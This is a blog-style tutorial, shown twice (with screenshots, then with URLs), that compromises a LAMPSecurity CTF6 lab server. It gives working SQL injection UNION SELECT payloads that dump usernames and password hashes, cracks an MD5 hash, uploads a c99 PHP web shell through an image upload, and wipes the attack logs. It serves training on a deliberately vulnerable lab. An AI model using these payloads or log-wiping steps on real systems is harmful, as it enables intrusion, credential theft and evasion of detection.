Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uVlibhrT5I6hKRYPxECDGVSNWvHTAAWjA87tAmQSiJwRIT0wioDt8bokCjcQzSEJA0IHtnxuHuTRQ95BAIJe1WVmBC-n05sUnI-sxO5In5uVo4FIEUIdSppRP-XqjhrnbPh71wNyxfAm6ieVA85hGr5YW6fl241yNCJDtE_pc-fl7q=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tEkn3yGFI4kvCMy41YTH7v88PwthgiWIst_xD0LdXV7kJISVmD0qnJu-cbVKYKe_jaivukGskcIoDrSTGdOgaOix1HOFgnahfe0zjMoH2Mkrn5BqfaNXjtQgPxAsMMeUQ_wCh5_rl69b9aFX2yaT46rlqUFBF9355UQRFH8gcBwgDavg=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5sBQEbwFxpZ403pK5sXGJRXjNwXFeDtF79WZBpMtVvg1qEZGUpoIFc96Kebd8DudHFRa4HOfWUQTpk7yzfsMZIq3r4MgdS_dXAxGGaS9WMNrEdPgq1gim9p1G4XaaNlOubtZ0i9mk2Q-1Gc4V-XhNusg0wft-TMEociv5WpX3cFzR-A=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tfikDMJDkekrwtggY9dERGPtwJsGJ2wtEK2cJaHUF3csb3g60lOa3o4G91IJdEBt05qTeXYbIEfIG7M3v4zKNfUyoOPsHq6-vCwNGnvhRau6SGmaEr5PMYoIA6UQHmn90X__aqvJybI-4DVkqFsyFGHKgwWY3kblK2qqARVSQfE3Hzzw=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_unVxUlR2APf789KAWGzVSOBqoTnQ0YJxpxMS_yIDK3w4vxMlIJQ21vpAHxgpseda64o-GQTU2BOFdSkxBsc3353nti5P1UXs9mWxqu3DQ17FJAVq8yT5SLY2m6vJJxJ38ZC-p8aBSge4oiwdj6ZYimlWoB7OJCD8fJZER0lgYdMvzSWQ=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u_E0VqYRFGJjfNn0skUJ-q4ou_UR1ZzChOcO8enHN3lC6yitP-enUV_fWWqwzCxY5u-HXVyKJGrTDCRhOtuz6APNwKvDIgHIAhV5U2wyeANjJOwEFDmdjEBPnoUaWvCtiVexN_6QMrX_ZSs2rtN1EZhignFmyEUdH8v6jw9LU4a4Xu=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v78hHsPxL9UmI6XvQdFu9OL2rVmqWJy90idhoga8DRu58mapIObeRiTSP6uM8v-aSjcxPcpVAx9zXZU6UnLuDIE7SkGZyySPIDCkAYut3CYk0VPU5iGV3_YphjqxTDNvwmxMx8-zag-sch6xwCsxDbDItTpgOwLzHxHkntxp9ymIsZB_Y=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRlGtXMnoYOL0VaYZnyllzewESUafg_2ZRU6K5X5tbpPBKys1U5aHi3fI3Xn5pbwjqjz0-ZlIhIPNf3zo8M5BY-S4izAbJyOfGO0QOnyxPViBdVCKM6l4Is_HzG2YxxYoqgQ7wJBJ0o0DEpxksa1DWAcS-hjGLiz5iIlA_wqBfC56afN4=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sAuPw4w2rXnecdJlV-gRKgFXp0D8qxesqaE1Lk-aYBShz2BUmZyIK_Jh8X6dr5Nl3nuStfbcghUt9uS-klF2OZ8_2IViLDIFfK-wqZN7WrF6Gy025hp1OGZnAE4b9fyVzrVtq5mQ3ITJT3ApU1qfyyAWD-4DpQfkifP1eGFaHCSBSZUe0=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uTXOLlDhIeB3vPQ8dMsOp1t7yMfoCFS-8D68bAFn_hL2W0BLHzk1PP6eCv4vOrvtn4CuJrBLPG_YZI7xQJ-Ls9SA6vV5VN9bwyXVCH1lWIlGuhPXLnIYTA2OKxx6WPQkWuSc5O84wwjkr0Yar1g3xc7JVfA6L9GQ6ZWTuTx-2ndu21JEw=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tuaokLOqfQQKVPMyRV2iX-ag5YO4WOqPD0b0QB8KQcVhL0-5RwaAgKepm5hkooFQmuDj8onmNe5v8Z4I48dkS2pLqI3V-UtYtPN5PLX77iJwfvI4L7K42LJzwxaqOaP30WQy1RhwqKWQ_qFATvZSrgrU-ouxcAEbGPg-uk6_kzWjNBSw=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vBR9gwccbz0AMhprnmuViecTDSj7Ti4iet0R4ZdPoq5R0KXJRyPQB0-z-ndZLo6l4MvCbWd99LyHW75wQeJBWC63MLjWzHQgyVUoG64ImNvWihpN43vwFQlh8dv-3UL3iPRxJw9jUlIajSkTrd4WHIdcHsjwkn4a31ihTvJyjQrlGkbr0=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vAZyrz2Av2sGw3tAKwNLvVyTkkma43bUNeMuXvQmQT-7CTbHBIdtk5WA63uYSQ_XE1vKkduNve_nzkCMdEGTEvN2-2Xc7DJbcrMkkMiMamhA9aX6v9_9y6kLDzQWEo9yn5lgRdZZ7nG8_EFGFg41JeYdOSimSNE-U0b3d6nZUltHf8CUM=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBR2Ax9_S2Ja1_nbwEgScs8XoM4ax2zqe4LjpWMmpE54mRb7-cuOaC6MPdJXSxcg4cMIeHlLi5kkdg4___76bje4fOGXMCWDq4oB845c4_dIChGGTPOzB0BcHvxs6a3S6uyRqmQ9Qpf-uhMZfUDBN92hjMTZJOwnC9fWxyz_TG2krqnQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vCmU6Qmi0KH5Hv73LuXJznkijeKcpJadOmX9XruuNLFi9wQqlvZ-MonIGHOTqB5w3cVShm4M1pahTbK7_Cd3Unqk3prJx_pEPjykfYP-7lXFQwcRgy5Qe2J9BhpAiTuavAbeeUkp58rxWaXhuoPBelPtoeq03FChRPtTUhWDMH7WmtJg=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uW5ogiOmoI2wCOV9WeP-LEeXlCkPPBaHE0T6re1fIaNdvOvmquA5ccUsIl0FMtBjxGM3Y0-saXmWSSiwM0xSLtQkcfQD1Ra_OVvQ-UpUmBRXCnLDG711vNeomvY157UZtiWqDE1QGrrZNRX1K-Vk2telwGn14i2wO3wdVziO23tPmCTDE=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vz6aFdnWawYl9e0xZQh0Qj8XT6T-cZxnUcctFzQ0ydNJGOTv1dCazKp_nqNhp9L11qE4CaCUcOR6LwfoNByiF_BeGx3X3Hmx4-vcPyU047WLV51XDe6wRv6Z2miXpgcB5SlEAWV6otIgrlNEjqNJSjXmnpQt5esL8QRO3pLGKh6qvj3aE=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_unA79CMdSHhcAcLmqJv2SJWUFXGTMgUrSJpjV3v7iD1GXkXD9Cxx7Mek3f-T8KqK7k2czqBsD26m4ISvnc1ZeL1yF6dcyUYJLcLqTXTrmg29179uhnbT0AK_9zwXx6CmIT2DMd6nK5zDGVZ9Vadb-0p_mLl-og3sAaoKMr2Ik_8faGnIk=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t-SahnUCtetx6UTk4Tkyh-6D0ubwkylRZPB2rfAMO_lWJkd6rSvUZK50ModQkyT4_TLvpTRkoTiWD3GwRLLtKIR3pxZ1-SrSql0_WvMyXxe8MYVN0OK52xI-hhl1Vz4Ql3xUU1etG8Pqovvk_HkXrS34-E8k7BRWxDq86SEnL8_pvAz20=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t4aiAyWBTUosBsdbvSkOlC3n30BzpkvYMlJJrSl4q-QtdDGoY4KPzGwZCftf8Y9FsOezVWk1LCBXJz4Vb8eu4lWXSLVYn-U6jiTU1clywsSJeh1GyTX4b-LIgvfeKzWfMcILeVxKYn8ZFsHDLnf0X3KjVuD-h2-H_H3Ia94d8e5VemDP0=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vMFyeUxvMa3VbT7hHl76d3LL3rA56Uscpb-WRB2gOq8w3hobOz6hFWX5HILAsF0hw5fKBgsUwHuYi0a9WXU1rGmfo1tYNqYq-eEmilvWgOwcf7PYYAR7zZbRrKhIKmBvEwxP-BKAUvZhmeaoVBxDYHMI41FAjOis7T5VW9UN375B_Uxr8=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v8YL_M7Bygi23r7Je1xq91RXlAnPmtRbyISRAb9_y6ieEYkbfxaZdsvUiwCdZ1kSL9ZybjLcfuiREgayS4Nv2DrFOadLEvIZATV0T-HaJ4LUyIqUGk-PMxWXxHdhuNNv9YBXKkE9TtE0f48-e_y0deSmS2N1GFI_ZsBvBg67K89ihuEns=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uOqxalbsHRpqfvEVbHDgv0qMnYY-tJBnbaenjHWyTtqyZFB7Q5NgZ6zaPXLxUwuAVBfup6PjRrGalhrebwxfxCXC9VZhTkeMv_v5P5K99CG8d7CsP6AUk--xpZMAU7j59Sf_pSxmRo5Jw3L-pTCjGEx4YHJ2i5Uc_ZP6ZOzt5ofvIUjbg=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uZiaHjdTIMvh8OsoSV-PpeVP4zAWaWly0JTCOA9KzXGV0qwA10RF9LSaAXnRle3l45DzjVveipTnbBhGli0fl4sUFq1sqtnp_OeugBHE3Y6i4chijr2dAfXs7wXc4hGCjLO32rNcyiTqpM1V74zSF-W67E1pByQ9HAIwiT4BTd3JOhTYQ=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vSj9VpD-zL-rVQn6PQlM1BIT6iBmxI7OCv0GfZU4D4qDIhjcgVrAwS2Kb1BcuzQquF-XPExHl5neI54Z6HCPe_tBKaFHZoPRnHDgOT6ObzaZxmH5WewM6MW5GR1GIUKlQR5R0r30M8UNZSWHVSx_knuIy6b0pmJeLYO3sIpm3ZYNx1Hw=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEgOWK2R8Cke4-J0h91B4kEutioNdhcFQsuWrvtiOMqrcYXCTJ3WwNYrPF1DT8UiQGNwO_tnmEtnwIYzuFRXnGydbnTop5gjH_pIgXK5eexrioLDMOUPXX6vBSTxDwtBBXjcu5JTT8_q71ThlCuXJgQcSg3idSunzh_Z90WYdoxNxNtw=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vo5Hm9lKtuEJ_eLK8b5YnmIiiMHcnLzBXo9RGO5zMBhbWFMoSs1abOL7gDkYQYLHjryZfM9iSUJ8Zc-iHAVkCvaxdD40AUot7ull1nYmUaZnzLLSjz-c2q2tCTe8CAPUiG9jQXVeiPdTXu7xQUFWReuXIBq-u5xcgUREQz0AVkTy3DgFA=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uWVJqIM9ny5SbrzeytEtdB3ookpG44Uz5u5jErfv0AUoFhWnf82QVaDg6JlVA73dDkvUdNROgppY4B7AfLF22mVegL1iJFwrWjDRHdD2DjHGy3oQKOgRgi9Phx0HF6GXAOxhbq5vRHlGM5AoJj0046d8MIEMCapkh3WhMHHWUrR-bCItM=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sI14hYyZNZKnd0DMP_ACHqxRyziVZdvaQJM3fBnQcAEL9KUCweIu1Rowll028B5d7PPcnlYpPqUMp447LoiEbq4diEl4u2JGxoSvlHj-auLp1YEn7VPvCF0mSoqlrqYPmuso3_2QwEuqMU5RE1EhRPCl0o3J0LKcDjnxaaisnioMq6Dw=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tWRBrSKoMPFm-Pjs2G3mPTOfnvAvlJ8VKzyLVvlqzuPjFddHz75__GKZBnsmGkPvEbaU-IB0RwYg0FlMYfiIRdb4l5lP8i_EcxfWssFDGcUb696jAvKkokiESxRSQ2pga7KM_EMjPC4zYJOOe0yOcNmPaKcxEaxo73yM1-80V5n0WqfCI=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tjh-jSB5d7nkfSJo9JNc0xpzJrU1Gskg1kuD8mcQvTvs7vWr5E446zeCChe_Sml4Gupz0G3M3z19ffg0_Svrpvn19qozl8tM3DBHzg4KssvoTEKTHVW7xdPPyNx5J1iMdL6uhLOPG4rb5ppMj7sjPky-_66lopaAVD5OM8dJvQT9a49kw=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vPOXtO81l579RxYpoazDi7dpzaiYx9M9Va6iIJ79LOPCm6leC0SVLe7jM2KJPCATCOMH35r-vK87SLEuJ1hzI4okxkuP1KDQU6d0bOE1bKNSjNWxmamWmCQ0tSSTA3r3BIa6YFSBC1sFo_VWUifCxD4tjF8VNhu1hm77ThsnkU33wFv10=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tbRXEUtjhh-EIfSgFAbjwxlGNft5mB8Jqj8wMAQrihMBBas4LyO9eQKyMc33EApLi1O28OImcN9uc9p4wHhpqUtgXik260GrqxF69Yjwpip3KdTCpq4X7IZ6w8L49eEeMAGdu-HzqH2wh4d6Yg5ZAiuf_cvWkNq1JZxmQBI2XzxuHKspg=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uHtcY09ljutxQJp6URZAVylEa0FGvXtj5WOhtvV1T5l7sqsMTc-b0rww5TBwRdKEdEyDBJF68NypGn-DjPrwSsDG0nP80GMy4e4eOlvbw4xkIicBXlUr5oQq5ZI_65hVtmWkJnARDv23Rrq0n7gDrPhpvEukGqr1rUGkdk-6IAokjT4sc=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u29b3PXRIZzU597S7ak6kbza_SMMDMuasB4G_6Mr46ywyTDjza-eKnKEt66POvqYEEKwKf1i6NnarktwDp3TOIIhSXrey7dFNKSZDHe9me0sqczHP5pGTIhoFaMh1bDy1xubAJAX7dHCeOM2MVQaMRCccwN030eyT-ukMyExfCu7prmwg=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tswokusDTMXC05aReNxsj4VsLxGSu-xlNv6A-UCMUEoYiiym1ZRpVTPyylits6JZByPZYZRf-W_m3QAuI997QmVDk-lWB0FAV5-sbY9YwdUx4qu8XJeou1bk2VpStbKohU70J5CPoO8dvy8hkNAAC7ibEKUqYOHqsN0RCshCn9p9Ums-A=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXfBKq6zFjaAzrhgT3YJ-OEuZJUNb6roJBDZAVjSs6dLbhJXEYtOLXEb2_smsr7r-zZmcxiex_t4xEMFtEFhFCbrN1LSB3EbuiMpZTgs6ypmm5FOkE41IXKKI_x2GR5ywBM7GaHrDAGeGuQOGX3PDbkX7IRv99XCLfzaCQ4ukxucwQ5Q=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_si0CQnIrVaL163tg9ygHk9qX_hWih89V6tCdLyfAKVcraFtsZQpPV6un-swdx0Zd-a5V83qQQ-raSvVK2oPKCUqwbQz7_7m-uSPfEEya6SXMQ0S_jotkSWLTTf0_XUPCo7-7eRCixX97A-AsEJaD-v-Npikhqr4n11jttIfjFh39VvKpA=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tqGwxaO4al7BqHbElKHWOkS5HercMhkGhhp4FJ0fVffvwJ0-N_q1rN97Uqn1caAkKAGh0GOOmbbpFRqiEoKhazfKnm9OunspYKmoGlpGnqoM7ywOEKhC2ELZK8gQEw0Zijpa_ORzL909irzGp00UEC4CwPCa5ynVHL0quA-hN_qmjb2A=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sbEJgP5zL5ImZewfzfr9Qucg1dT4O9UWB2Ef28zHoiP73iuoQcL3O0EqkMBdW8fVfQlmqriKMoBLG4_jZOZgcMI0UplT4QON_gLa9Qx7NWIgDDayaOQAwlEYScpMudPIf4bj2XdfrRcnbZCgUy5Q6KOJbXV2COcEJWa1dw5PteHmE6g84=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v5sSEsq7YJZNfHAP0rasZ6xB5_kmUGbHUbANzji0GZAZ22qbBlzrhyIOZuPzjDXsq4G_ZTK_O1UcSHRtt9yc88c7e5lCWMPhdiwrGBxR9-lW4mZ3-1mKYuOl8r6fk2diORMRxS2BGx-5EK6Zrk-S3ON7zJrxqFcdfm3wr3-LWCnnuWa2M=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_spZnfrDMwxhu4nJkTG-eqq3Ti9bsV9hi5bn6xorm5GiQBVZmA4JFOUCVFcvcyzRZsXVWYxEp10vD7vRcVdM1EawtVIdYndj6yd7ME2uRJ_xuNXfp-wtdMjIj0pEc2uw2NcmBiaTNtOv6RIUBCoerIAYbMeJ8mPQL8bSaxe0eoyp8u64QM=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u6SUwyJKDx_2HMLDP1SZ4Sp4mXIHmdTu3loVrDORRmh8kc-GmKD5XWlbWCtWhrMYRfT3YxBivagXibgkXAS6qiu3FUVDwi7U1EXyuL1G5ecy7rKjEG_5tTHV9AlBc8w4DlYIdk6sUCEP5UmwDsKOLdq_Oc502UQr_wDQ592TOl8TZRffE=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJInY-vN-E377cPUFXPxmkeRTomD7yVXCLiHsRYSCtD1ReE154fWrATS_laJpFX91_I9Aq8MrgCg4SVPu8IQ0vPLeXaF-hVuD3IlbpRK7j6FdTWNJZuVe77psoCPWkxQOWYHSrxWcgiffB7dwUAs7MfqlLFztRupQlXfpUbPXlefP7zA=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_slh0qP33jsJVOiAujLMr4bP-hCONy-gki-dIgLLYOHP-8-uYu8CMVznQOjwd-7ds-pFr1CgKyrzRDPsCtpHpZp1N8a0tKrgR8tMArJrhZbzUpNYEQQeTT-INX-6fSir6GEogB4bZD2qNSVbpgCzbl-q-QqGELg483F_tr0yNHnCv2cBew=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete